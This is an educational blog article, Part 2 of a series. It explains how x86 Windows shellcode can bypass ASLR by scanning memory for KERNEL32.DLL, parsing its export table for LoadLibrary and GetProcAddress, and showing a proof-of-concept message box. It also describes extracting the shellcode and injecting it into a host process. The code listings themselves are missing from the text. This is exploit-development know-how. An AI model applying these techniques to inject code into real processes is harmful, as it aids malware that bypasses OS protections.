NOTE: See the Limitations section from Part 1 for information about how this technique is impacted by SafeSEH

SUMMARY:
In Part 1 of this series (Swallowing Exceptions in Win32), I illustrated an efficient x86 shellcode implementation of KERNEL32's IsBadReadPtr() function to encapsulate Access Violation exceptions when checking arbitrary memory locations in the context of a user-mode process. In this article (Part 2), we'll build upon this functionality so that we may search memory to discover the locations for any API in the system, loading the dependent library modules as needed. This is especially useful in modern versions of Windows where the locations of system API functions are intentionally randomized in memory for security purposes.

This article also provides insight into how code can be constructed to gain access to system resources from a process no matter how its associated executable module was built, potentially reducing any process to a code-launching container. While obviously useful to malware, these techniques can prove useful for non-invasive patches to alter software where no source code is available.

MEMORY SEARCH: A UNIVERSAL METHOD OF API DISCOVERY:
Let's say we want shellcode to search memory so that we can discover where the MessageBoxA() function resides allowing us to pop up a message box. Countless examples always seem to target the MessageBox API because its one of the simplest methods to indicate a successful proof-of-concept; for that reason, I'm also going to use it.

We also want the method to be portable amongst any x86 (32 or 64-bit) versions of Windows as well as working under any process which may or may not already import functions from the desired library module. In our case the desired library is USER32.DLL as this is the executable module that contains MessageBoxA().

While the memory-search method is not the only solution to enable shellcode to reliably locate API functions from different versions of Windows, it has the highest educational value in my opinion because you get exposure the following important concepts: exception suppression, Windows memory layout, and parsing PE files; the only trade-off being code complexity. Luckily, the performance impact of locating the address of each desired function will be negligible and on par with (if not much less) than the initial delay when a process first starts: when the Windows loader parses and resolves the process' imports section.

THE KERNEL32.DLL GATEWAY:
Fortunately, we can do everything we need if we can just locate two KERNEL32.DLL functions: LoadLibrary() and GetProcAddress(). From there, we can exclusively rely on the operating system to efficiently load and locate the addresses of any other functions needed. And, because ALL processes always have KERNEL32.DLL loaded into their address space, it is always possible to access these two functions to bootstrap any number of APIs you want to access at runtime.

In summary, we are interested in KERNEL32.DLL because it is:

• guaranteed to exist in all processes
• contains LoadLibrary() and GetProcAddress() APIs which unlock access to all other API functions

At this point, you may have noticed there is a chicken-and-egg scenario: Since we don't yet know the location of the LoadLibrary() and GetProcAddress() functions, how do we get their addresses without first accessing LoadLibrary() and GetProcAddress()? We'll need to employ one of among a handful of known tricks to discover them.

ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR)
Why can't addresses to API functions be hardcoded? Because system API addresses are no longer predictable on modern (post-XP) versions of Windows.

Prior to Microsoft's release of Vista, Windows loaded system DLLs at hardcoded addresses in all processes. Because each version of the operating system and service pack level happened to load KERNEL32.DLL at the same base address, shellcode could hardcode the addresses for the two "holy-grail" functions (LoadLibrary() and GetProcAddress()) for common versions of Windows and have easy access to the remainder of APIs on the machine. For example, Windows XP Service Pack 3 always loaded KERNEL32 at 0x7C800000, LoadLibrary() at 0x7C801D7B and GetProcAddress() at 0x7C80AE30 system-wide. Besides shellcode needing a table of different addresses per function per version of Windows, it was still pretty convenient to access the system once shellcode gained control.

With the public release of Windows Vista in January 2007, Microsoft stepped up their game with a security feature known as ASLR (Address Space Layout Randomization). ASLR randomizes the base load address for all system DLLs including KERNEL32.DLL each time the operating system boots. Additionally, 3rd-party modules can "opt-in" to the new security feature by specifying the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag in the OptionalHeader's DllCharacteristics. This meant that the days of hardcoding addresses for system DLLs were over and malware must jump through a few more hoops to bypass ASLR.

In April 2007, Microsoft's Mark Russinovich said the following in the Technet article: Inside the Windows Vista Kernel


A security whitepaper from Symantec also reported additional details about the Windows Vista implementation of ASLR:


In general, bypassing ASLR requires searching memory for KERNEL32.DLL or using hint(s) as to its current whereabouts.

A MEMORY SEARCH ALGORITHM:
The basic algorithm we'll be using is the same whether you want to search memory for EXEs or DLLs as both use the same format. First, pick a start address and test it to see if it accessible; in other words, that memory is mapped into the current process. If not, swallow the resulting Access Violation exception and loop back to the beginning to try the next memory location. Otherwise, see if that memory location begins with the 16-bit DOS-header signature "MZ" (little-endian value 0x5A4D). If this byte-sequence is found, we can proceed to ensure we have a valid PE image by locating the PE header. From here we can locate the export directory (if any) and walk its function tables to locate the desired function(s).

The only catch is that testing every user-mode memory location within the normal 2 GB range would take too long and a a noticeable delay isn't ideal. Luckily, the operating system imposes some restrictions on how executable modules are aligned in memory:

• All executable modules are aligned on a 64 KB (65536 byte) boundary; i.e. a multiple of 0x10000
• System modules, such as KERNEL32.DLL, are randomly offset within the upper 16 MB region of user-mode
• System modules tend to be placed as high as possible in user-mode memory

Because executable modules are always 64 KB aligned, we can drastically reduce the number of memory locations to test. As a side note, the 64 KB alignment requirement actually applies to any executable module being loaded anywhere in memory on all versions of Windows (read about the 64K granularity design decision here). Additionally, Windows tends to choose high preferred-base addresses for system DLLs. The only thing ASLR does is to force DLLs downwards by a random offset up to a maximum of 16 MB. This translates to a worst-case of only 256 comparisons to find the DLL, however searching from the top -> backwards greatly improves the odds.

Now that we know we want to search backwards through memory in 64 KB decrements, at which address should we start? Since kernel-mode-only addressing begins at 0x80000000, you might guess we start our search at the first 64 KB boundary prior which is 0x7FFF000. This region of memory is known as the upper user-mode "off-limits" region so there is no point in testing it. Similar to the lower user-mode "off-limits" region between 0x00000000-0x0000FFFF, the purpose of these regions are to catch bad pointers. Therefore we start our search another 64 KB lower at 0x7FFE0000.

An annotated disassembly of the shellcode search function is illustrated below, with added spacing and indentation for clarity:



SOURCE CODE SUMMARY:
The MASM source code can be downloaded at the link at the top of the article. This package comes with some batch scripts to build an EXE and manipulate the shellcode embedded within the EXE. The source code embeds ASCII Markers within the resulting executable so the shellcode can be extracted easily with tools. This allows the shellcode to be run as an EXE or as an injectable binary.

Once the EXE is built, you can use the shellcode scripts to extract and launch the shellcode, although you will need to download the bd and shelljmp tools separately as they are needed by these optional scripts. They may be placed in the same directory as the source or somewhere in your path. This allows you to launch the shellcode in an "unaware" generic host process to finalize this proof-of-concept code. With minor modifications, you can obviously use whatever shellcode extraction and hosting tools are in your toolbox although I'll illustrate using them as designed below.

To build the source, you'll need to edit the variables at the top of build.bat to point to the directory that contains your Visual C++ toolset. In other words, where your MASM (ML.EXE) and linker tools are located. You don't need Visual Studio installed, but you do need a version of those tools just mentioned along with any dependency DLLs - the exact files are documented in the build.bat file. With that said, the code has been tested and found to build without errors or warnings on the Visual C++ Toolsets 7.1 (2003) thru 10.0 (2010), but there is no reason it shouldn't work on the latest versions. Although there may be slight differences in the resulting EXE's due to differing linker versions, the shellcode produced by differing versions of MASM will be identical.

The source code contains the function isBadReadPtr() that we built in Part 1 of this series as well as the other boilerplate code to call the shellcode function from the EXE. To keep things simple, I put everything in a single source file with no includes necessary. Towards the top are the usual declarations and some debugging macros which can be enabled by setting the DEBUG variable to "1" in the contained build.bat. This will result in a DEBUG version of the EXE which outputs search progress to the console.

If you do utilize the DEBUG version of the EXE, note that this version is only designed to be run as an EXE from the console. Any shellcode extracted from the DEBUG version of the EXE won't run properly (i.e. it will crash) because various debugging strings reference the .data section and I didn't bother trying to build these strings into the shellcode, keeping it compact and simple for this article.

You'll notice the build script uses editbin.exe (also part of the Visual C++ toolset) as a post-link step to enable ASLR (/dynamicbase option) for the resulting binary, adding the 0x40 (IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) flag to the OptionalHeader.DllCharacteristics member of the PE header. This support requires versions of editbin from Visual C++ 8.0 (2005) SP1 or greater. I included it in the script so you could play with it (by commenting/uncommenting it out). Although this flag only randomizes the base load address for the EXE itself and doesn't affect the location of KERNEL32.DLL, it is present for completeness and reference.

Another side note to remember is that if a module doesn't contain a .reloc section, the operating system has no choice but to ignore the IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag as it can't load the module anywhere BUT its preferred load address. This is why modules that support ASLR must be linked with /FIXED:NO, the implied default for DLLs, but not EXEs. This forces the linker to generate a .reloc section.

USING THE SOURCE CODE:
Building and running the DEBUG version of the target using the build script is shown below:



The program locates the first executable module at the highest memory location that contains both LoadLibraryA() and GetProcAddress() exported functions (i.e. KERNEL32.DLL). Then a small bit of code uses the found function pointers to manually load USER32.DLL and subsequently launch MessageBoxA() resulting in the "ASLR defeated" message box.

You can see that running the program multiple times will produce the same addresses, but after a reboot, the addresses will all change. This is ASLR in action.

Using pelook (or Microsoft's Depends will also work) to examine the KERNEL32.DLL exports, we can see that the ordinal and hint numbers match the debug output shown above. This indicates we parsed the exports table properly:


For the sake of brevity, the output above had the other export lines removed. This was from the 32-bit version of KERNEL32.DLL from Windows 7 SP1 (64-Bit).

LAUNCHING THE SHELLCODE:
There is no question that the code works fine when run from its *nice and safe* EXE file. The real test is whether it will still work when separated from its EXE "shell" and injected into another process.

The first step is to extract the relevant code from the EXE between the markers explicitly placed there by the source code. Once the EXE is has been built (and for this article, it must be the default RELEASE build), run the shellcode_extract_from_exe script:


The extracted shellcode.bin should be 505 bytes (md5=c33335237962a0266758405014d1578e), representing the completed proof-of-concept program. The corresponding binary dump is:


An easy way to test the shellcode fragment in a host-process without writing a custom launcher is to use the shelljmp tool. Shelljmp maps a file into its process and "jumps" into it (start execution at the entrypoint). Since the shellcode was designed with its entry-point at the first byte, no offset needs to be specified. The shellcode can be launched with shellcode_run.bat:



Again, the message box appears (and blocks) just as it did when run solely from the EXE.

BENEFITS AND LIMITATIONS:
The algorithm depicted here is one of a few known methods to locate KERNEL32.DLL from shellcode. Unlike most methods, it is compatible with all versions of NT-based Windows (past and present), with or without ASLR. Its primary drawback is that it is incompatible with SafeSEH.

Other methods striking a balance between complexity and compatibility include:

• Locating the top-most KERNEL32 exception handler from the FS:[0] chain
• Walking the PEB's loaded module list
• Walking the stack

The code presented here illustrates a "good-enough" solution and is intended for educational purposes only. It performs only minimal validation of the PE header to achieve its goals. Malformed headers could make it crash.

CONCLUSION:
While code can be easily extracted from a file, getting it to work regardless of where it might be loaded in memory can be tricky. Position independent code utilizes techniques that allow data and code to be packed within the same contiguous block. This shellcode block can only know about itself, at least initially, based on its own fixed offsets. Once it has discovered more from its surroundings can it do more "useful things" like dynamically load and call functions in separate libraries. Writing position independent code and making it robust enough to run anywhere on many operating system is truly an art form.

<END OF ARTICLE>

---

Questions or Comments?

---

    2018-09-18      * added links to top and within sentence in limitations regarding lack of SafeSEH compatibility
    2018-02-28      * added excerpt from Symantec's security whitepaper: An Analysis of Address Space Layout Randomization on Windows Vista™

---